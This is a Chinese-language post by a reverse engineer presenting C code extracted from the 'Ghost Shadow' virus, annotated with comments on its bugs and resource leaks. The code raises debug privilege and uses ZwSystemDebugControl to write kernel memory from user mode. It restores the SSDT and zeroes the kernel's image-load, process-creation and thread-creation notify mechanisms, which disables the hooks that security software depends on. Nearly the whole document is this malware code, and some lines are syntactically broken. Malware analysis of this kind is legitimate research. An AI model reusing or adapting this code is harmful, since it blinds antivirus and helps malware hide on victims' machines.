代码:
/***************************************************************************************
*
*    分析了一下“鬼影”病毒,从里面扒了段代码出来。
*
*    该段代码调用 ZwDebugSystemControl 在 Ring3 恢复 SSDT,并摘除
*    PsSetLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、
*    PsSetCreateThreadNotifyRoutine 三个钩子。
*
*    代码里 bug 较多,我用注释标示出来了,保留原味儿,未做修改。
*
*    逆向 by Fypher
*    http://hi.baidu.com/nmn714
*
****************************************************************************************/
BOOL Ring3Unhook(IN BOOL bArg) { // bArg 为 0 时只恢复SSDT,不摘PsSetXXXNotifyRoutine钩子
  // 先提权
  HANDLE hToken;
  LUID luid;
  TOKEN_PRIVILEGES tkp;
  if (OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, &hToken) ) {
    if (LookupPrivilegeValue(0, "SeDebugPrivilege", &luid)) {
      tkp.Privileges[0].Luid.LowPart = luid.LowPart;
      tkp.Privileges[0].Luid.HighPart = luid.HighPart;
      tkp.PrivilegeCount = 1;
      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
      AdjustTokenPrivileges(hToken, FALSE, &tkp, 0x10, NULL, 0);
    }
  }
  CloseHandle(hObject);  // 此处有bug

  // 获取所需函数,应该检查一下返回值
  char strProcName[32] = "ZwSystemDebugControl";
  HMODULE hNtdll = GetModuleHandle("ntdll");
  ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl = GetProcAddress(hNtdll, strProcName);

  strcpy(strProcName, "NtQuerySystemInformation");
  NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = GetProcAddress(hNtdll, strProcName);

  // 查询系统模块信息
  ULONG ulRet = 0;
  NTSTATUS status;
  
  status = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ulRet);
  if (status != STATUS_INFO_LENGTH_MISMATCH)
    return 0;
  
  // 这里写得不好,没有检查返回值,并且用 heap 类函数快得多
  HLOCAL hlocal = LocalAlloc(LPTR, ulRet);  
  
  status = NtQuerySystemInformation(SystemModuleInformation, hlocal, ulRet, &ulRet)) 
    return 0;  // 此处有资源泄露,应该释放 hlocal

  // WS的方式把 ntoskrnl 的真名找到了
  PSYSTEM_MODULE_INFORMATION pSysModInfo = (PSYSTEM_MODULE_INFORMATION)((ULONG)hlocal + 4);
    char* pstrNtoskrnl = pSysModInfo->ModuleNameOffset + pSysModInfo->ImageName;
  
  HMODULE hNtoskrnl = LoadLibraryEx(pstrNtoskrnl, 0, DONT_RESOLVE_DLL_REFERENCES);
  if (!hNtoskrnl)
    return 0;  // 此处有资源泄露,应该释放 hlocal

  // 准备恢复SSDT
  strcpy(strProcName, "KeServiceDescriptorTable");
  
  ULONG ulSSDToffset = (ULONG)GetProcAddress(hNtoskrnl, &ProcName) - (ULONG)hNtoskrnl;
  ULONG ulNtoskrnlBase = (ULONG)hNtoskrnl & 0xFFFFFFFE;    // 取得基址,多余操作

  
  ULONG ulPEHdr = *(PULONG)(ulNtoskrnlBase + 0x3C) + ulNtoskrnlBase;  // 取PE头
  ULONG ulImageBase =  *(PULONG)(ulPEHdr + 52);  // 取 ImageBase
  ULONG ulSSDTAddr =  ulImageBase + ulSSDToffset;
  
  MEMORY_CHUNKS QueryBuff;
  QueryBuff.Address = (ULONG)ulSSDTAddr;

  ULONG ulSizeOfImage = *(PULONG)(ulPEHdr + 80);  // 取 SizeOfImage

  PVOID lpAddress;
  int i = 0;
  if (ulSizeOfImage) {
    while (1) {
      lpAddress = (LPVOID)(ulNtoskrnlBase + i);
      // 寻找  mov ds:KeServiceDescriptorTable, xxxxxxxx
      // 特征码 C7 05 SSDT xxxx
      if (*(PULONG)(lpAddress) == ulSSDTAddr ) {
        if ( *(WORD *)(lpAddress - 2) == 0x5C7 )
          break;
      }
      ++i;
      if (i >= ulSizeOfImage)
        break;
    }
    if (i <ulSizeOfImage)
      QueryBuff.Address = *((PULONG)lpAddress + 1);
  }

  if (i == ulSizeOfImage) {
    return 0;  // 此处有资源泄露,应该释放 hNtoskrnl 和 hLocal
  }
  else {  // 此处有bug, i > ulSizeOfImage后程序会流向此处
    PULONG FunAddr = (PULONG)( QueryBuff.Address + (ULONG)hNtoskrnl - ulImageBase);
    DWORD dwOldProtect = 0;
    VirtualProtect(FunAddr, 0x1000, PAGE_READWRITE, &dwOldProtect);  // 这里应该检查返回值
    int num = 280;  // 这里写得不好,函数个数应该动态获取
    
    do {
      FunAddr[num] += (ULONG)pSysModInfo->Base - ulImageBase;
      --num;
    } while (num >= 0);
    
    // 恢复SSDT
    DWORD dwRet;
    QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
    QueryBuff.Data = FunAddr;
    QueryBuff.Length = 1120;  // 这里写得不好,函数个数应该动态获取
    status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);

    if ( bArg ) {  // 根据参数决定是否摘除 PsSetxxxNotifyRoutine 钩子

      // 准备摘掉 PsSetLoadImageNotifyRoutine 的钩子
      strcpy(strProcName, "PsSetLoadImageNotifyRoutine");
      ULONG ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
      
      QueryBuff.Address = ulProcAddr;
      if ( *(WORD *)ulProcAddr != 0xCCCC ) {  // 此处有bug
        do {
          ++ulProcAddr;
        } while ( *(WORD *)ulProcAddr != 0xCCCC );
        
        while (ulProcAddr > QueryBuff.Address ) {
          // 寻找 PsImageNotifyEnabled
          // mov ds:_PsImageNotifyEnabled, 1,特征码C6 05 xx xx xx xx 01。
          if (*(WORD *)ulProcAddr == 0x5C6 && *((_BYTE *)ulProcAddr + 6) == 1 ) {
            ULONG ulPsImageNotifyEnabledAddr = *(PULONG)(ulProcAddr + 2);

            // 将 PsImageNotifyEnabled 置 0, 摘掉 ImageNotifyEnabled 钩子
            int buff = 0;
            QueryBuff.Address = ulPsImageNotifyEnabledAddr + (ULONG)pSysModInfo->Base - ulImageBase;
            QueryBuff.Data = &buff
            QueryBuff.Length = 1;
            status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
            break;
          }
          --ulProcAddr;
        }
      }

      // 同理摘掉 PsSetCreateProcessNotifyRoutine 的钩子
      strcpy(strProcName, "PsSetCreateProcessNotifyRoutine");
      ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);

      QueryBuff.Address = ulProcAddr;
      if ( QueryBuff.Address < QueryBuff.Address + 256 ) {
        // 找函数出口,retn 8
        while ( *(WORD *)ulProcAddr != 0x8C2 || *(BYTE *)(ulProcAddr + 2) ) {
          ++ulProcAddr;
          if (ulProcAddr >= QueryBuff.Address + 256)
            break;
        }

        while ( ulProcAddr < QueryBuff.Address + 256 ) {
          // 寻找mov xx, offset _PspCreateProcessNotifyRoutineCount
          if ((*(BYTE *)ulProcAddr & 0xF8) == 0xB8) {
            if (*(PULONG)(ulProcAddr + 1) > 0x400000) {  // 取得_PspCreateProcessNotifyRoutineCount
              int buff = 0;
              QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
              QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
              QueryBuff.Data = &buff;
              QueryBuff.Length = 4;
              status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
              break;
                    }
            ulProcAddr += 4;
          }
          ++ulProcAddr;
        }
      }
      // 同理摘掉 PsSetCreateThreadNotifyRoutine 的钩子, 不解释了
      strcpy(strProcName, "PsSetCreateThreadNotifyRoutine");
      ulProcAddr = GetProcAddress(hNtoskrnl, &strProcName);
      QueryBuff.Address = ulProcAddr;
      while (1) {
        if (ulProcAddr >= QueryBuff.Address + 256)
          break;
        if (*(WORD *)ulProcAddr == 0x4C2 && !*((BYTE *)ulProcAddr + 2))
          break;
        ++ulProcAddr;
      }
      for (ULONG addr = ulProcAddr + 3; addr < QueryBuff.Address + 256; ++addr) {
        if ((*(BYTE *)addr & 0xF8) == 0xB8) {
          if (*(PULONG)(addr + 1) > 0x400000) {
            int buff = 0;
            QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
            QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
            QueryBuff.Data = &buff;
            QueryBuff.Length = 4;
            status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
            break;
          }
          addr += 4;
        }
      }
    }
    FreeLibrary(hNtoskrnl);
    return NT_SUCCESS(status);  // 此处有资源泄露,应该释放 hlocal
  }
}